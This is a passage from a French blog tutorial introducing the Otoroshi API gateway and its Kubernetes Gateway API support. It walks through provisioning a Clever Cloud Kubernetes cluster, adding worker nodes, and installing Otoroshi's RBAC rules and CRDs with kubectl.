&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;HTTPRoute&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;api-route&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;my-app&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  parentRefs&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;my-gateway&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;infra&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    sectionName&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;http&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  hostnames&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;&quot;api.example.com&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  rules&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;matches&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    - &lt;/span&gt;&lt;span&gt;path&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        type&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;PathPrefix&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;/v2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    backendRefs&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;my-api-service&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;8080&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ce modèle fondé sur les rôles est une amélioration significative. Les opérateurs du cluster contrôlent la Gateway (quels noms d’hôte sont autorisés, quels namespaces peuvent y rattacher des routes), tandis que les développeurs contrôlent leurs propres ressources HTTPRoute sans avoir besoin de privilèges au niveau du cluster. Les références entre namespaces sont possibles, avec des autorisations explicites via des ressources &lt;code&gt;ReferenceGrant&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;La Gateway API apporte aussi un support natif du découpage de trafic (backends pondérés pour les déploiements canary), de la manipulation d’en-têtes, des redirections, de la réécriture d’URL, et un vrai mécanisme d’extension via des types de filtres personnalisés — le tout sans recourir à des annotations propres à un contrôleur.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;faites-connaissance-avec-otoroshi&quot;&gt;Faites connaissance avec Otoroshi&lt;/h2&gt;
&lt;p&gt;Avant de passer à la pratique, laissez-moi vous présenter le personnage principal de cette histoire : &lt;a href=&quot;https://maif.github.io/otoroshi/manual/index.html&quot;&gt;Otoroshi&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Otoroshi est un reverse proxy et une API gateway open source que j’ai créé en 2017, alors que je travaillais comme prestataire chez la &lt;a href=&quot;https://www.maif.fr/&quot;&gt;MAIF&lt;/a&gt;, un grand assureur français. La MAIF venait de migrer sur la plateforme Clever Cloud et avait besoin d’une solution unifiée pour sécuriser et gérer le trafic des API de son paysage applicatif très hétérogène — sans imposer de bibliothèques ou de frameworks particuliers à ses équipes de développement. Le projet a depuis largement dépassé son périmètre d’origine, et j’en suis toujours aujourd’hui le core maintainer et le responsable, sous la bannière Cloud APIM.&lt;/p&gt;
&lt;p&gt;La philosophie d’Otoroshi se résume en cinq principes : être agnostique vis-à-vis des technologies, HTTP-first, API-first (l’interface web n’est qu’un client de l’API parmi d’autres), centré sur la sécurité et orienté événements. Il est conçu pour être le point d’entrée unique de tout le trafic HTTP vers vos applications, quel que soit l’endroit où elles sont hébergées ou le langage dans lequel elles sont écrites.&lt;/p&gt;
&lt;h3 id=&quot;que-peut-faire-otoroshi-&quot;&gt;Que peut faire Otoroshi ?&lt;/h3&gt;
&lt;p&gt;La liste des fonctionnalités est conséquente. Côté gestion du trafic : load balancing avec plusieurs stratégies (round robin, sessions persistantes, least connections, meilleur temps de réponse), rate limiting distribué, mirroring de trafic, déploiements canary et relay routing entre zones réseau.&lt;/p&gt;
&lt;p&gt;Côté sécurité : un Web Application Firewall intégré, propulsé par Coraza avec les OWASP Core Rule Sets, des listes de blocage d’IP avec support CIDR, du contrôle d’accès fondé sur la géolocalisation, la gestion des clés d’API avec quotas, la validation de JWT (JWE compris), OAuth 2.0/2.1 avec PKCE, OIDC, LDAP, SAML V2, et même le support de WebAuthn/FIDO2.&lt;/p&gt;
&lt;p&gt;Pour l’observabilité : métriques Prometheus natives, traces OpenTelemetry (OTLP), Datadog, StatsD, streaming d’événements vers Kafka, et plus encore.&lt;/p&gt;
&lt;p&gt;Et il supporte HTTP/1.1, HTTP/2, HTTP/3, WebSocket, TCP et gRPC — y compris via un serveur nouvelle génération basé sur Netty pour les charges les plus exigeantes.&lt;/p&gt;
&lt;h3 id=&quot;otoroshi-dans-kubernetes&quot;&gt;Otoroshi dans Kubernetes&lt;/h3&gt;
&lt;p&gt;Otoroshi dispose d’une &lt;a href=&quot;https://maif.github.io/otoroshi/manual/deploy/kubernetes.html&quot;&gt;intégration native avec Kubernetes depuis la version 1.5.0&lt;/a&gt;. En mode Kubernetes, Otoroshi fonctionne comme un contrôleur Ingress et peut s’appuyer sur plusieurs mécanismes :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Contrôleur Ingress standard&lt;/strong&gt; : surveille les ressources &lt;code&gt;Ingress&lt;/code&gt; et crée les routes correspondantes&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Custom Resource Definitions (CRD)&lt;/strong&gt; : un riche ensemble de plus de 23 ressources personnalisées qui vous permettent de configurer chaque aspect d’Otoroshi nativement via des manifestes Kubernetes — routes, backends, certificats, clés d’API, vérificateurs JWT, modules d’authentification, et plus encore&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Synchronisation des secrets&lt;/strong&gt; : les secrets TLS Kubernetes sont automatiquement synchronisés en certificats Otoroshi&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Le contrôleur d’Otoroshi tourne comme un job d’arrière-plan au sein même du processus Otoroshi : il interroge ou surveille l’API Kubernetes et réconcilie l’état souhaité avec la configuration de routage courante. Pas besoin de déployer un contrôleur séparé.&lt;/p&gt;
&lt;p&gt;Une remarque importante tirée de la documentation : faire tourner Otoroshi &lt;em&gt;derrière&lt;/em&gt; un contrôleur Ingress existant est explicitement déconseillé. Cela dégrade les capacités de proxy TCP, le TLS et le mTLS, et ajoute une latence inutile. Otoroshi doit être votre point d’entrée le plus en amont.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;otoroshi-rencontre-la-gateway-api&quot;&gt;Otoroshi rencontre la Gateway API&lt;/h2&gt;
&lt;p&gt;C’est là que les choses deviennent passionnantes. Depuis la &lt;strong&gt;version 17.13.0&lt;/strong&gt;, Otoroshi implémente la &lt;a href=&quot;https://maif.github.io/otoroshi/manual/topics/kubernetes-gateway-api.html&quot;&gt;spécification Gateway API de Kubernetes&lt;/a&gt;. C’est un chantier que je voulais attaquer depuis un moment, et le passage en GA de la spécification m’a semblé être le bon moment pour enfin le faire proprement.&lt;/p&gt;
&lt;p&gt;La fonctionnalité est marquée comme expérimentale dans la documentation actuelle, mais elle est pleinement opérationnelle pour les cas d’usage essentiels : support de Gateway, HTTPRoute et GRPCRoute. L’implémentation repose sur un choix d’architecture intéressant : plutôt que de provisionner dynamiquement de nouveaux listeners à la demande (ce qui exigerait des privilèges importants sur le cluster et beaucoup de complexité), Otoroshi vérifie que les listeners des Gateway correspondent aux ports HTTP/HTTPS sur lesquels il écoute déjà, puis utilise les routes pour construire sa table de routage.&lt;/p&gt;
&lt;p&gt;Le cycle de réconciliation fonctionne ainsi :&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Otoroshi récupère toutes les ressources Gateway API depuis l’API server Kubernetes&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Il valide les ressources &lt;code&gt;GatewayClass&lt;/code&gt; qui référencent son nom de contrôleur&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Il résout les certificats TLS à partir des Secrets Kubernetes référencés&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Il valide les listeners des &lt;code&gt;Gateway&lt;/code&gt; par rapport aux ports qu’il a configurés&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Il convertit les objets &lt;code&gt;HTTPRoute&lt;/code&gt; et &lt;code&gt;GRPCRoute&lt;/code&gt; en entités &lt;code&gt;NgRoute&lt;/code&gt; natives&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Il enregistre les routes et nettoie les entrées orphelines laissées par les cycles de réconciliation précédents&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Toutes les routes générées portent le tag &lt;code&gt;otoroshi-provider: kubernetes-gateway-api&lt;/code&gt;, ce qui permet de les identifier et de les retrouver facilement.&lt;/p&gt;
&lt;p&gt;Le contrôleur Gateway API s’active en déclarant &lt;code&gt;KubernetesGatewayApiControllerJob&lt;/code&gt; comme job d’arrière-plan dans la configuration d’Otoroshi. Voyons précisément comment mettre tout cela en place.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;passons-à-la-pratique--installation-de-bout-en-bout-sur-clever-cloud&quot;&gt;Passons à la pratique : installation de bout en bout sur Clever Cloud&lt;/h2&gt;
&lt;p&gt;Je vais vous montrer exactement ce que j’ai fait cet après-midi-là. Nous allons :&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Provisionner un cluster Kubernetes sur CKE&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ajouter des nœuds workers&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Déployer Otoroshi avec le support de la Gateway API activé&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Installer les CRD de la Gateway API&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Déployer une application de démonstration&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Y router du trafic via la Gateway API&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Vérifier que tout fonctionne&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Avant d’entrer dans le détail des étapes, voici une vue d’ensemble de ce que nous construisons. Deux plans coexistent : le &lt;strong&gt;control plane&lt;/strong&gt; (flèches en pointillés), où Otoroshi surveille les ressources de l’API Kubernetes et les réconcilie en routes actives, et le &lt;strong&gt;data plane&lt;/strong&gt; (flèches pleines), où le trafic HTTP réel circule du monde extérieur jusqu’aux pods de l’application.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 1823px) 1823px, 100vw&quot; width=&quot;1823&quot; height=&quot;2994&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-a7d0ba.Xy6MqJ_z_cAQge.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-a7d0ba.Xy6MqJ_z_poUSS.webp 640w, https://blog.cloud-apim.com/_astro/01-a7d0ba.Xy6MqJ_z_Z2tPLXY.webp 750w, https://blog.cloud-apim.com/_astro/01-a7d0ba.Xy6MqJ_z_VkG9I.webp 828w, https://blog.cloud-apim.com/_astro/01-a7d0ba.Xy6MqJ_z_Z2tn6ci.webp 1080w, https://blog.cloud-apim.com/_astro/01-a7d0ba.Xy6MqJ_z_12tF50.webp 1280w, https://blog.cloud-apim.com/_astro/01-a7d0ba.Xy6MqJ_z_z4q81.webp 1668w, https://blog.cloud-apim.com/_astro/01-a7d0ba.Xy6MqJ_z_cAQge.webp 1823w&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;prérequis&quot;&gt;Prérequis&lt;/h3&gt;
&lt;p&gt;Il vous faut :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Un compte &lt;a href=&quot;https://www.clever.cloud/&quot;&gt;Clever Cloud&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;La CLI &lt;code&gt;clever&lt;/code&gt; installée et authentifiée (&lt;code&gt;npm install -g clever-tools&lt;/code&gt; ou téléchargement depuis la page des releases)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;kubectl&lt;/code&gt; installé&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Important — CKE est actuellement en accès privé.&lt;/strong&gt; J’ai testé cette installation alors que Clever Kubernetes Engine n’était ouvert qu’à certains utilisateurs. &lt;strong&gt;À partir de la semaine prochaine (&lt;strong&gt;27 avril 2026&lt;/strong&gt;), CKE passe en bêta publique&lt;/strong&gt;, ce qui en élargit nettement l’accès pour les utilisateurs de Clever Cloud. Une fois la fonctionnalité activée pour votre organisation, le reste de ce guide s’applique tel quel.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;étape-1--activer-kubernetes-sur-votre-organisation-clever-cloud&quot;&gt;Étape 1 : activer Kubernetes sur votre organisation Clever Cloud&lt;/h3&gt;
&lt;p&gt;Une fois CKE débloqué pour votre organisation, vous devez activer la fonctionnalité Kubernetes via la CLI :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;clever&lt;/span&gt;&lt;span&gt; features&lt;/span&gt;&lt;span&gt; enable&lt;/span&gt;&lt;span&gt; k8s&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Vous pouvez lister les clusters existants avec :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;clever&lt;/span&gt;&lt;span&gt; k8s&lt;/span&gt;&lt;span&gt; list&lt;/span&gt;&lt;span&gt; --org&lt;/span&gt;&lt;span&gt; xxx&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;étape-2--créer-votre-cluster&quot;&gt;Étape 2 : créer votre cluster&lt;/h3&gt;
&lt;p&gt;La création d’un nouveau cluster tient en une seule commande. Le flag &lt;code&gt;--watch&lt;/code&gt; maintient la CLI active et affiche la progression pendant que le control plane démarre — une attention appréciable quand on est là à se demander si quelque chose a mal tourné.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;clever&lt;/span&gt;&lt;span&gt; k8s&lt;/span&gt;&lt;span&gt; create&lt;/span&gt;&lt;span&gt; gateway-api-demo&lt;/span&gt;&lt;span&gt; --org&lt;/span&gt;&lt;span&gt; xxx&lt;/span&gt;&lt;span&gt; --watch&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Au bout de quelques minutes, vous aurez un cluster opérationnel.&lt;/p&gt;
&lt;p&gt;Vous pouvez relancer la commande &lt;code&gt;list&lt;/code&gt;. La sortie affiche le statut du cluster et finit par confirmer que le control plane est prêt.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;clever&lt;/span&gt;&lt;span&gt; k8s&lt;/span&gt;&lt;span&gt; list&lt;/span&gt;&lt;span&gt; --org&lt;/span&gt;&lt;span&gt; xxx&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 648px) 648px, 100vw&quot; width=&quot;648&quot; height=&quot;61&quot; src=&quot;https://blog.cloud-apim.com/_astro/02-338f05.R6Ef-bee_Z1PsCVQ.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/02-338f05.R6Ef-bee_1IK5bN.webp 640w, https://blog.cloud-apim.com/_astro/02-338f05.R6Ef-bee_Z1PsCVQ.webp 648w&quot;&gt;&lt;/p&gt;
&lt;p&gt;Vous remarquerez aussi qu’un nouvel élément est apparu dans votre console Clever Cloud&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 1028px) 1028px, 100vw&quot; width=&quot;1028&quot; height=&quot;537&quot; src=&quot;https://blog.cloud-apim.com/_astro/03-05ac04.CHDHHxNK_Z1u3Tkr.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/03-05ac04.CHDHHxNK_1yG6sR.webp 640w, https://blog.cloud-apim.com/_astro/03-05ac04.CHDHHxNK_Z1rJxjD.webp 750w, https://blog.cloud-apim.com/_astro/03-05ac04.CHDHHxNK_5e0MV.webp 828w, https://blog.cloud-apim.com/_astro/03-05ac04.CHDHHxNK_Z1u3Tkr.webp 1028w&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;étape-3--récupérer-votre-kubeconfig&quot;&gt;Étape 3 : récupérer votre kubeconfig&lt;/h3&gt;
&lt;p&gt;Une fois le cluster prêt, téléchargez le fichier kubeconfig :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;clever&lt;/span&gt;&lt;span&gt; k8s&lt;/span&gt;&lt;span&gt; get-kubeconfig&lt;/span&gt;&lt;span&gt; gateway-api-demo&lt;/span&gt;&lt;span&gt; --org&lt;/span&gt;&lt;span&gt; xxx&lt;/span&gt;&lt;span&gt; &gt;&lt;/span&gt;&lt;span&gt; kubeconfig.yaml&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Puis pointez &lt;code&gt;kubectl&lt;/code&gt; dessus :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;export&lt;/span&gt;&lt;span&gt; KUBECONFIG&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;$(&lt;/span&gt;&lt;span&gt;pwd&lt;/span&gt;&lt;span&gt;)/kubeconfig.yaml&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ou, si vous préférez, placez cet export dans un fichier &lt;code&gt;config.sh&lt;/code&gt; et chargez-le avec &lt;code&gt;source&lt;/code&gt; :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;source&lt;/span&gt;&lt;span&gt; config.sh&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Vérifions que nous pouvons communiquer avec le cluster :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; get&lt;/span&gt;&lt;span&gt; nodes&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;À ce stade, vous ne verrez probablement que le nœud du control plane, voire rien du tout : nous n’avons encore ajouté aucun nœud worker.&lt;/p&gt;
&lt;h3 id=&quot;étape-4--ajouter-des-nœuds-workers&quot;&gt;Étape 4 : ajouter des nœuds workers&lt;/h3&gt;
&lt;p&gt;Par défaut, un cluster CKE démarre avec un control plane mais sans aucun nœud worker. Nous devons créer un &lt;code&gt;NodeGroup&lt;/code&gt; — l’abstraction de Clever Cloud pour un groupe de nœuds de calcul, défini par un flavor (profil CPU/mémoire) et un nombre de nœuds.&lt;/p&gt;
&lt;p&gt;Voici le manifeste que j’ai utilisé (&lt;code&gt;manifests/nodegroup.yaml&lt;/code&gt;) :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;api.clever-cloud.com/v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;NodeGroup&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;gateway-api-demo-nodegroup&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  flavor&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;M&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  nodeCount&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Le flavor &lt;code&gt;M&lt;/code&gt; offre une bonne quantité de CPU et de RAM pour faire tourner Otoroshi confortablement. J’ai choisi 2 nœuds pour avoir de la marge et expérimenter sans me heurter à des limites de ressources.&lt;/p&gt;
&lt;p&gt;Appliquez-le :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; create&lt;/span&gt;&lt;span&gt; -f&lt;/span&gt;&lt;span&gt; ./manifests/nodegroup.yaml&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Regardez maintenant les nœuds arriver :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; get&lt;/span&gt;&lt;span&gt; nodes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; get&lt;/span&gt;&lt;span&gt; nodegroups&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 642px) 642px, 100vw&quot; width=&quot;642&quot; height=&quot;42&quot; src=&quot;https://blog.cloud-apim.com/_astro/04-98c48e.CK6zE6IG_16SDCi.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/04-98c48e.CK6zE6IG_16KveU.webp 640w, https://blog.cloud-apim.com/_astro/04-98c48e.CK6zE6IG_16SDCi.webp 642w&quot;&gt;&lt;/p&gt;
&lt;p&gt;Vous verrez les nœuds rejoindre le cluster un par un. Laissez passer quelques minutes. Dès que les 2 nœuds sont à l’état &lt;code&gt;Ready&lt;/code&gt;, vous pouvez continuer.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 484px) 484px, 100vw&quot; width=&quot;484&quot; height=&quot;58&quot; src=&quot;https://blog.cloud-apim.com/_astro/05-2f8547.D_-OtzKG_1qsVug.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/05-2f8547.D_-OtzKG_1qsVug.webp 484w&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Astuce&lt;/strong&gt; : si vous avez besoin de plus de capacité par la suite, vous pouvez scaler le node group sans le recréer :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;shell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; scale&lt;/span&gt;&lt;span&gt; nodegroup&lt;/span&gt;&lt;span&gt; gateway-api-demo-nodegroup&lt;/span&gt;&lt;span&gt; --replicas=4&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;étape-5--installer-les-règles-rbac-et-les-crd-dotoroshi-pour-la-gateway-api&quot;&gt;Étape 5 : installer les règles RBAC et les CRD d’Otoroshi pour la Gateway API&lt;/h3&gt;
&lt;p&gt;Otoroshi a besoin de permissions RBAC spécifiques pour surveiller et mettre à jour les ressources de la Gateway API — notamment &lt;code&gt;gatewayclasses&lt;/code&gt;, &lt;code&gt;gateways&lt;/code&gt;, &lt;code&gt;httproutes&lt;/code&gt;, &lt;code&gt;grpcroutes&lt;/code&gt;, &lt;code&gt;referencegrants&lt;/code&gt;, &lt;code&gt;backendtlspolicies&lt;/code&gt;, ainsi que les sous-ressources &lt;code&gt;/status&lt;/code&gt; correspondantes.&lt;/p&gt;
&lt;p&gt;Le projet Otoroshi fournit un manifeste RBAC prêt à l’emploi, dédié à l’intégration Gateway API :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; apply&lt;/span&gt;&lt;span&gt; -f&lt;/span&gt;&lt;span&gt; &apos;https://raw.githubusercontent.com/MAIF/otoroshi/refs/heads/master/kubernetes/gateway-api/rbac-gateway.yaml&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ainsi que les Custom Resource Definitions d’Otoroshi :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; apply&lt;/span&gt;&lt;span&gt; -f&lt;/span&gt;&lt;span&gt; &apos;https://raw.githubusercontent.com/MAIF/otoroshi/refs/heads/master/kubernetes/gateway-api/crds-gateway.yaml&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
